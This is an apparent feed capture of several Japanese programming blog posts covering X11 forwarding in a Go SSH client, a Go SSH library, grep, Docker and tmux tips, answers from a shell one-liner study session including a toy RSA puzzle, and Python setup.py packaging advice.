Goでsshのクライアントコマンドを作ってるのだが、それにx11 forwarding機能を実装したかったのでいろいろと調べてみた。
で、以下のような通信の流れになっているので、それを踏まえて実装してみた。

  1.  sshクライアント=>sshサーバ: sshクライアント側からsshサーバ側に、「SSH_MSG_CHANNEL_REQUEST」でx11-reqを送る(RFC4254)
  2.  sshサーバ: x11の初期化処理が行われる(sshサーバ側のDISPLAY環境変数にlocalhost:6000+x11ディスプレイ番号が入り、ポートが開く)
  3.  sshサーバ => sshクライアント: sshサーバ側でx11を使うアプリケーションを動作させると、sshサーバ側のDISPLAY環境変数にxプロトコルのデータを送る(RFC4254)
    (sshクライアント側では、そのデータの受け皿を用意しておく必要がある)
  4. sshクライアント: sshサーバ側から送られてきたxプロトコルのデータを受け付け、sshクライアント側のDISPLAY環境変数宛にSocket通信でデータ転送をする
    (sshクライアント側で、そのSocketへの転送処理をする必要がある)

ざっくり書くとこんな感じ。
で、以下のようなコードで実装ができる(動作するコードはこちらに全文を上げてる)。

// sshサーバ側から受け付けたx11プロトコルの通信をそのままSocketに転送する関数
func forwardX11Socket(channel ssh.Channel) {
	conn, err := net.Dial("unix", os.Getenv("DISPLAY"))
	if err != nil {
		return
	}

	var wg sync.WaitGroup
	wg.Add(2)
	go func() {
		io.Copy(conn, channel)
		conn.(*net.UnixConn).CloseWrite()
		wg.Done()
	}()
	go func() {
		io.Copy(channel, conn)
		channel.CloseWrite()
		wg.Done()
	}()

	wg.Wait()
	conn.Close()
	channel.Close()
}

// x11-req Requestで送信するリクエストの中身を生成するためのStruct
type x11request struct {
    SingleConnection bool
    AuthProtocol     string
    AuthCookie       string
    ScreenNumber     uint32
}

func main() {
    (snip)

    // x11-req Requestで送信するデータを作成(AuthCookieはランダムな値)
    payload := x11request{
        SingleConnection: false,
        AuthProtocol:     string("MIT-MAGIC-COOKIE-1"),
        AuthCookie:       string(NewSHA1Hash()),
        ScreenNumber:     uint32(0),
    }

    // x11-req Requestを送信
    ok, err := session.SendRequest("x11-req", true, ssh.Marshal(payload))
    if err == nil && !ok {
        fmt.Println(errors.New("ssh: x11-req failed"))
    } else {
        // sshサーバ側から送られるx11プロトコルのデータを受け付ける処理
        x11channels := client.HandleChannelOpen("x11")

        go func() {
            for ch := range x11channels {
                channel, _, err := ch.Accept()
                if err != nil {
                    continue
                }

                go forwardX11Socket(channel)
            }
        }()
    }

}

 

こっちにある動作するコードを使って接続するとx11 forwardingを使ってログインシェルに接続されるので、xeyesとか実行すると動作するのが確認できる。
実装にあたりPythonのParamikoのコードとかも参考にしてみたのだけど、これだとどうも動かないのが気になる。2012年とかのコードなので、ライブラリとかも変わってしまって動かないのかな(´・ω・`)。

実は実装するの(+理解するの)に結構苦労したのだけど、出来てみるとそんなにコードも多いわけでもなかった(自分がアホなだけ)。

 

【参考】

 

SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery) SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery)

Goでマルチプロキシやx11forwarding、pkcs11での認証が行えるsshライブラリを作ってみた

$
0
0

個人的にGoでsshのクライアントコマンドを作ってるのだけど、ssh接続で使用している処理が肥大化してメンテナンスが辛くなってきたので、ライブラリとして外出しすることにした。

easy ssh library for golang. Contribute to blacknon/go-sshlib development by creating an account on GitHub.
blacknon/go-sshlib - GitHub

 

以下のようなことが簡単にできるように作ってある。
細かい使い方についてはGoDocを参照してもらえれば…(´・ω・`)。

  • ログインシェルへの接続(Ctrl+Cとかタブ補完もできる)
  • ターミナルログの取得(タイムスタンプ付与)
  • sshやhttp,socks5の多段プロキシ接続
  • x11 forwarding
  • port forwarding
  • pkcs11認証(Yubikeyとかの物理トークンを使った認証方式)

サンプルコードはこんな感じ。

// Copyright (c) 2019 Blacknon. All rights reserved.
// Use of this source code is governed by an MIT license
// that can be found in the LICENSE file.

// Shell connection Example file.
// Change the value of the variable and compile to make sure that you can actually connect.
//
// This file uses password authentication. Please replace as appropriate.

package main

import (
    "fmt"
    "os"

    sshlib "github.com/blacknon/go-sshlib"
    "golang.org/x/crypto/ssh"
)

var (
    host     = "target.com"
    port     = "22"
    user     = "user"
    password = "password"

    termlog = "./test_termlog"
)

func main() {
    // Create sshlib.Connect
    con := &sshlib.Connect{
        // If you use x11 forwarding, please set to true.
        ForwardX11: false,

        // If you use ssh-agent forwarding, please set to true.
        // And after, run `con.ConnectSshAgent()`.
        ForwardAgent: false,
    }

    // Create ssh.AuthMethod
    authMethod := sshlib.CreateAuthMethodPassword(password)

    // If you use ssh-agent forwarding, uncomment it.
    // con.ConnectSshAgent()

    // Connect ssh server
    err := con.CreateClient(host, user, port, []ssh.AuthMethod{authMethod})
    if err != nil {
        fmt.Println(err)
        os.Exit(1)
    }

    // Set terminal log
    con.SetLog(termlog, false)

    // Start ssh shell
    con.Shell()
}

 

Goのscp用のライブラリも作ってあるので、この辺を利用すればGolangでも結構簡単にsshクライアント作れるんじゃないかなー…と思ってる(´・ω・`)。
ひとまず外出し(+リファクタ)はできたので、自前のコマンドのコードをこっちに移さないとなー…。

SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery Book 12) (English Edition) SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys (IT Mastery Book 12) (English Edition)

Linuxコンソール上でユニークな値だけ色付けする

$
0
0

あまり仕事とかではないのだけど、たまにコンソール上で全く同じ値を持つ以下のようなテキストから、ユニークな値(今回の場合はB)だけ色を付けたいと思うことがある。

A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A B A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A

 

一番簡単なのは、grepでユニークな値、もしくはユニークではない(重複した)値を指定してやることだろう。
通常はgrepでヒットした値はエスケープシーケンスで色付けされるので、それを利用すればいい。

command | grep -E '[^A]'
command | grep -e B -e '$'


ユニークな値、もしくはユニークではない値を指定せずに色付けをする場合は、ちょっと汚いけど以下のようにしてやれば(厳密にユニークな値かどうかは判定していないけど)対応できる。

grep -f <(echo $;cat file | fmt -1 | sort | uniq -c | tail -1 | awk '{print $2}') file

 

grep Pocket Reference: A Quick Pocket Reference for a Utility Every Unix User Needs (Pocket Reference (O'Reilly)) grep Pocket Reference: A Quick Pocket Reference for a Utility Every Unix User Needs (Pocket Reference (O'Reilly))

Dockerにローカルのbashrcやvimrcを使って接続するワンライナー

$
0
0

Dockerにbashでログインする際、手元の環境のbashrcやvimrcを使って直接ログインしたいということがある。
原理的にはsshの場合と同じやり方でできるだろうということでやってみた。

とりあえず、以下のようなコマンドでローカルのbashrcを使ったログインが可能だ。
(読み込ませているbashrcのPATHは自分の環境のものなので、適宜書き換えが必要。)

docker run --rm -it コンテナ bash -c '/bin/bash --rcfile <(echo -e '$(cat ~/dotfiles/{.bashrc,sh/{sh_function,sh_export,sh_alias,sh_function_lvim},bash/bash_prompt}|base64)'|base64 -d)'

ちなみに、現在のセッションで利用している環境変数やfunction、aliasをそのまま読み込ませる場合は、以下のようにすればいい。
(base64 -w0はLinuxの場合での指定なので、Macの場合はオプションを消してbase64だけでいい)

docker run --rm -it theoldmoon0602/shellgeibot bash -c '/bin/bash --rcfile <(echo -e '$(cat <(set) <(alias)|base64 -w0)'|base64 -d)'

 

そもそもDockerコンテナに入ることもあまりないだろうし、使う機会はそう多くなさそうだけど、特定のシステムコンテナ(シェル芸botとか)の環境で操作したい場合には役に立つと思う。

 

Docker実践ガイド 第2版 impress top gearシリーズ Docker実践ガイド 第2版 impress top gearシリーズ

tmuxでアクティブpaneかどうかでの色分けをpane_synchronizedに応じて切り替える

$
0
0

普段あまりtmuxを使っていないのだけど、tmux.confの設定でアクティブなpaneかどうかで色を分けるといった対応をしていたりする。
↓こんな感じ。

 

で、pane_synchronizedかどうかに応じてこのアクティブなpaneだけ色を変えるのをtmux.confで変更したいということがあったので、その備忘。
対処方法だが、ちょうど自分がpane_synchronizedの切り替えをショートカットキーでトグル切り替えで処理していたので、以下のようにtmux.confに記述することで対処した(自分のtmux.confから抜粋)。

#-------------------------------------------------------#
# キーバインド
#-------------------------------------------------------#
# Ctrl-I で複数Paneへの入力モードに変更(Toggle)
bind -n C-i setw synchronize-panes \; display "synchronize-panes #{?pane_synchronized,on,off}"\; if-shell 'test #{pane_synchronized} -eq 1' 'set -g window-style "fg=colour250 bg=black"' 'set -g window-style "fg=colour247 bg=colour236"'


#-------------------------------------------------------#
# Pane
#-------------------------------------------------------#
# アクティブなPaneと非アクティブなPaneで色を変化させる($TMUX_VERSIONが2.1以上の場合)
# - window-style .. 非アクティブウィンドウ
# - window-active-style .. アクティブウィンドウ
if-shell -b '[ $(echo $TMUX_VERSION|awk "{if(\$0>=2.1){print 1}}") = 1 ]' " \
    set -g window-style 'fg=colour247,bg=colour236'; \
    set -g window-active-style 'fg=colour250,bg=black';"

 

実際に動いてるのは↓。大体こんな感じ。

 

(ssh接続先ごとでのターミナル背景色の切り替えと相性が悪いのもあって)今まであまりtmuxをつかってこなかったのだが、今後はもっと使うようにしたいなぁという気持ち。
tmux.confの書き方がバージョンによって動いたり動かなかったりするので、ssh経由でローカルのtmux.confを読ませるときのためにいちいちif-shellで分岐を頑張る必要があるのはちょっとツライなぁ…。なんかいい方法ないものか…。

 

The Tao of tmux: and Terminal Tricks (English Edition) The Tao of tmux: and Terminal Tricks (English Edition)

第44回シェル芸勉強会に参加してきました(復習)

$
0
0

先日実施された第44回シェル芸勉強会に出席してきたので、その復習。
今回は実用的な内容…ということだったのだが、そうはならんかったらしい(´・ω・`)。
冒頭で、awkなどでゴリゴリ書いていく問題がメインらしいので、多分難しめなんだろうなぁと思ったけど、おわってみたらやはり難しい問題が多かった。

問題および模範解答はこちら。あと、問題を解くに当たって必要になるファイルは以下のコマンドで取得してくる。

git clone https://github.com/ryuichiueda/ShellGeiData

Q1.

数独の問題で、マップ?のデータから各行列にどのような値が入ってるかを一覧化する問題。
数独がやったことないのでよくわからないのだけど、とりあえず第一フィールドが行番号、第二フィールドが列番号、第三フィールドが区画(3×3のグリッドに適当に番号をつけたもの)、第四フィールドが値となるようにすればいいようだ。

ひとまず、以下のようにawkで処理することで実現できる。

awk -F '' '{for(i=0;i<NF;i++){print (NR-1),i,int(i/3)+int(NR/3)*3,$(i+1)}}' sudoku
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < awk -F '' '{for(i=0;i<NF;i++){print (NR-1),i,int(i/3)+int(NR/3)*3,$(i+1)}}' sudoku | head
0 0 0 5
0 1 0 3
0 2 0 *
0 3 1 *
0 4 1 7
0 5 1 *
0 6 2 *
0 7 2 *
0 8 2 *
1 0 0 6

 

この問題については、awkでちゃんと書いてあげるのが一番良さそうだ。

Q2.

Q1から続きの問題で、Q1で作ったファイルをaというファイル名で保存して、さらにaのデータをもとに「4列目が*になっている行に対して、5列目以降に4列目に入らない数字を入れてbというファイルで保存しろ」という問題。
これについては、awkでゴリゴリ回答を作成するよりは外部コマンドを生成してbashに食わせるといったやり方のほうが楽そうだったので、その方法で対処した。

cat a | awk '{if ($NF !~/^[0-9]+$/){print "echo \""$0"\"","$(seq 1 9|grep -v -f <(cat a|grep ^"$1"|awk \"{print \\$NF}\"|grep -o [0-9]))"}else{print "echo "$0}}' | bash
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat a | awk '{if ($NF !~/^[0-9]+$/){print "echo \""$0"\"","$(seq 1 9|grep -v -f <(cat a|grep ^"$1"|awk \"{print \\$NF}\"|grep -o [0-9]))"}else{print "echo "$0}}' | head
echo 0 0 0 5
echo 0 1 0 3
echo "0 2 0 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 3 1 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo 0 4 1 7
echo "0 5 1 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 6 2 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 7 2 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 8 2 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo 1 0 0 6

[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat a | awk '{if ($NF !~/^[0-9]+$/){print "echo \""$0"\"","$(seq 1 9|grep -v -f <(cat a|grep ^"$1"|awk \"{print \\$NF}\"|grep -o [0-9]))"}else{print "echo "$0}}' | bash | head
0 0 0 5
0 1 0 3
0 2 0 * 1 2 4 6 8 9
0 3 1 * 1 2 4 6 8 9
0 4 1 7
0 5 1 * 1 2 4 6 8 9
0 6 2 * 1 2 4 6 8 9
0 7 2 * 1 2 4 6 8 9
0 8 2 * 1 2 4 6 8 9
1 0 0 6

Q3.

Q3は、Q2で生成したファイルであるbに対して「5列目の値を4列目に入るであろう値のリストに書き換える」という処理をしたファイルcを作成する、という問題。
そもそも数独のルールを理解していないので何を入れるんだかさっぱりわからない+数独について調べたけどいまいちよくわからなかったので回答のしようがないので、模範解答の内容を転記しておく。

cat b | awk 'NF==4;NF!=4{for(i=1;i<=9;i++){
for(j=5;j<=NF;j++){if(i==$j){j=NF+3}} if(j!=NF+4)$4=$4 " "i
};print $1,$2,$3,$4}'
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat b | awk 'NF==4;NF!=4{for(i=1;i<=9;i++){
for(j=5;j<=NF;j++){if(i==$j){j=NF+3}} if(j!=NF+4)$4=$4 " "i
};print $1,$2,$3,$4}' | head
0 0 0 5
0 1 0 3
0 2 0 * 1 2 4
0 3 1 * 2 6
0 4 1 7
0 5 1 * 2 4 6 8
0 6 2 * 1 4 8 9
0 7 2 * 1 2 4 9
0 8 2 * 2 4 8
1 0 0 6

Q4.

Q4では、Q3で作成したcをもとに最初のファイル「sudoku」のフォーマットでファイルを作成するという問題。
その際、Q3の段階で4列目に1個しかファイルが入らない行についてはその内容も適用する必要がある。これについては、awkでちゃちゃっとやってしまうのがいいだろうということで、そのまま処理をした。

cat c | awk '{x=$4;if(x=="*"&&NF==5){x=$5};print x}' | xargs -n 9 | sed 's/ //g'
[DOCKER][root@9f6fb38551e6][/ShellGeiData/vol.44]
(`・ω・´) < cat c | awk '{x=$4;if(x=="*"&&NF==5){x=$5};print x}' | xargs -n 9 | sed 's/ //g'
53**7****
6**195***
*98****6*
8***6***3
4**853**1
7***2***6
*6***7284
***419*35
****8**79

 

Q5.

Q5は数学の問題だった。積分なのだが、社会人になってからそういうのはやってなかったのでもはやさっぱり…。
とりあえず模範解答だけ転記しておくことにする。

seq 0 49 | awk '{print $1/100, $1/100+0.01}' | awk '{print log(cos($1)), log(cos($2))}' | awk '{print ($1+$2)/2*0.01}' | awk '{a+=$1}END{print a}'

 

Q6.

Q6はウンコ系の問題。
体感だけど、(案の定というか)この問題だけ正答率がすごく高かった気がする。
ファイル「speech」の空行に対し、「speeck2」の内容を上から順に差し込んでいくという問題。とりあえず、自分は以下のような回答で処理をした。

cat speech | awk 'BEGIN{i=1}length($0)==0{print "sed -n "i"p speech2";i++}length($0)>0{print "echo "$0}' | bash
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat speech | awk 'BEGIN{i=1}length($0)==0{print "sed -n "i"p speech2";i++}length($0)>0{print "echo "$0}' | bash
このうんこを作った
のは誰だあっ!!う
んこも休み休み言え
春はあけぼの。夏は
夜。秋は夕暮れ。冬
はうんこハァ テレ
ビも無ェ、うんこも
無ェ、生まれてこの
かた見だごとア無ェ
やつはとんでもない
ものを盗んでいきま
した。あなたのうん
こですお前それうん
こでも同じ事言えん
の?疲れからか、

 

この問題に関しては、くんすとさんの回答が非常にきれいだった。
awkのgetlineを利用することで、外部のファイルを上から順に差し込めるというのは知らなかった。

cat speech | awk 'NF==0{getline< "speech2"}{print}'
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat speech | awk 'NF==0{getline< "speech2"}{print}'
このうんこを作った
のは誰だあっ!!う
んこも休み休み言え
春はあけぼの。夏は
夜。秋は夕暮れ。冬
はうんこハァ テレ
ビも無ェ、うんこも
無ェ、生まれてこの
かた見だごとア無ェ
やつはとんでもない
ものを盗んでいきま
した。あなたのうん
こですお前それうん
こでも同じ事言えん
の?疲れからか、

 

Q7.

簡単なRSA暗号を施されたファイル「message」をシェル芸で元に戻そうという内容。
ASCIIコードの文字一つ一つを5乗して437で割った余りを10進数で記述されており、各十進数を何乗かして437で割った余りをASCIIコードとして解釈するとメッセージが読めるらしい。

まずは各数字を200乗して、それを437で割る。
このとき、通常のawk(mawk)だとあまりに大きい数を扱おうとするとうまく行かない。

ebanさんのツイートで知ったのだが、こういった場合はgawkの-Mオプションを利用することで対処できるらしい。

cat message|fmt -1|gawk -M '{print ($1^191)%437}'

 

これを更に解読する。
RCA暗号であればこの数字は素数になると思わえるが、とりあえず200までの数字を使って計算する。
文字コードから文字列を出力する場合はprintfで%cを指定することで対処できるのでそれを利用する。

seq -f 'echo $(cat message|fmt -1|gawk -M '\''{printf ("%%c",($1^%g)%%437)}'\'')' 200 | bash
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < seq -f 'echo $(cat message|fmt -1|gawk -M '\''{printf ("%%c",($1^%g)%%437)}'\'')' 200 | bash | head
ĆŅzPĊƖ£YŅYņ
#Ĵ�ĚƏWŝ7Ĵ7U
ƮđżŪMX
ĻƓ#Ɠé
!ťƢØ!
1Ĥ`ホøĻĤĻ
¥GŞʼnĝƩÜCGCÀ
ƔşķdÑŴ�ĚşĚe
^Ũ_ċı½½
©Üèũ�Ŏש×Ě

 

これで200個分を計算できた。
ひとまず「unko」だろということでgrepをすると「unko_jyanai」というキーワードがヒットするので、これが正解(ちなみに数字は119)というのがわかるのだけど、もしunkoが入ってない場合はどうやって識別するのか?

ちょっと無理やりだけど、今回の場合だとASCIIだということが最初にわかっていることから、fileコマンドに出力を渡して識別させればいいということがわかる。

seq -f 'echo $(cat message|fmt -1|gawk -M '\''{printf ("%%c",($1^%g)%%437)}'\'')|tee >(file -)' 200 | bash | grep -B2 ASCII

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

setup.pyにinstall_requiresを書いたけどpipで処理されないとき(versionが原因)

$
0
0

ちょっとしたツールをPythonで作ったので、pipインストールできるように以下のようにsetup.pyを書いてたのだけど、どうもinstall_requiresが処理されないということがあった。

■ setup.py

import os
import platform

import setuptools
from hoge import __version__

if __name__ == "__main__":
    setuptools.setup(
        name='hoge',
        version=__version__,
        install_requires=[
            'fuga',
            'fugafuga'
        ],
        packages=setuptools.find_packages(),
        py_modules=['hoge'],
        entry_points={
            'console_scripts': [
                'hoge = hoge:main',
            ],
        },
        data_files=get_data_files(),
    )

 

結論から言うと、原因は__version__を本体側から取ってきてたのが原因だった。

I have a library with the following setup.py:from setuptools import setupfrom mylib import __version__requirements = tests_require = def main(): setup( na...
Dependencies are not installed by pip - Stack Overflow

 

どうやら、setupが実行される前にパッケージを参照してしまっているため、正常にsetupの処理が行われないことが原因らしい。
Versionを本体側に書いておいてそれを参照させることで編集箇所を1箇所にまとめたいという理由でこういう書き方をしていたのだけど、この書き方だとまずいらしい。

じゃあどう書けばいいかというと、setup.py側に固定でバージョンを記述して、本体側でそれを参照させれば良さそうだ。

■ setup.py

import os
import platform

import setuptools


if __name__ == "__main__":
    setuptools.setup(
        name='hoge',
        version='0.1.1',
        install_requires=[
            'fuga',
            'fugafuga'
        ],
        packages=setuptools.find_packages(),
        py_modules=['hoge'],
        entry_points={
            'console_scripts': [
                'hoge = hoge:main',
            ],
        },
    )

 

■ 本体側(__init__.py)

from pkg_resources import get_distribution

# version
__version__ = get_distribution('パッケージ名').version

 

これで、Version情報を1箇所にまとめて記述して、かつpipでのインストールが正常に行われるようになった。

 

Pythonによるプログラミング入門 東京大学教養学部テキスト: アルゴリズムと情報科学の基礎を学ぶ Pythonによるプログラミング入門 東京大学教養学部テキスト: アルゴリズムと情報科学の基礎を学ぶ

pipでbash/zshの補完ファイルをインストールさせるパッケージを作る

$
0
0

pythonで簡単なCUIのツールを作っていたとき、pipでインストール時にbash/zshの補完ファイルも一緒にインストールさせたいというのがあったので、やり方について調べてみた。
で、結論としては以下のようなsetup.pyを作成すれば良さそうだということがわかった。

■ setup.py

import os
import platform
import setuptools

# 補完ファイルインストール用関数
def get_data_files():

    # 補完ファイルのインストール先を取得する関数
    def get_completefile_install_location(shell):
        # pathのprefixを定義
        prefix = ''

        # osの種類を取得
        uname = platform.uname()[0]

        # 実行ユーザがrootかどうかでprefixを変更
        if os.geteuid() == 0:
            ''' システムインストール時の挙動 '''
            if uname == 'Linux' and shell == 'bash':
                prefix = '/'
            elif uname == 'Linux' and shell == 'zsh':
                prefix = '/usr/local'
            elif uname == 'Darwin' and shell == 'bash':
                prefix = '/'
            elif uname == 'Darwin' and shell == 'zsh':
                prefix = '/usr'

        # shellの種類に応じてインストール先のlocationを変更
        if shell == 'bash':
            location = os.path.join(prefix, 'etc/bash_completion.d')
        elif shell == 'zsh':
            location = os.path.join(prefix, 'share/zsh/site-functions')
        else:
            raise ValueError('unsupported shell: {0}'.format(shell))

        # locationを返す
        return location

    # locationをdict形式で取得する
    loc = {
        'bash': get_completefile_install_location('bash'),
        'zsh': get_completefile_install_location('zsh')
    }

    # 対象となるファイルをdict形式で指定
    files = dict(
        bash=['completion/hogehoge-completion.bash'],
        zsh=[
            'completion/hogehoge-completion.bash',
            'completion/_hogehoge'
        ]
    )

    # data_files形式でreturn
    data_files = []
    data_files.append((loc['bash'], files['bash']))
    data_files.append((loc['zsh'], files['zsh']))
    return data_files


if __name__ == "__main__":
    setuptools.setup(
        name='hogehoge',
        version='0.1.2',
        install_requires=[
            'hoge',
            'fuga'
        ],
        packages=setuptools.find_packages(),
        py_modules=['hoge'],
        entry_points={
            'console_scripts': [
                'hoge = hoge:main',
            ],
        },
        data_files=get_data_files(),
    )

 

これで、関数内で指定した補完ファイルがインストールされる。

 

Pythonエンジニア育成推進協会監修 Python 3スキルアップ教科書 Pythonエンジニア育成推進協会監修 Python 3スキルアップ教科書
Viewing all 1028 articles
Browse latest View live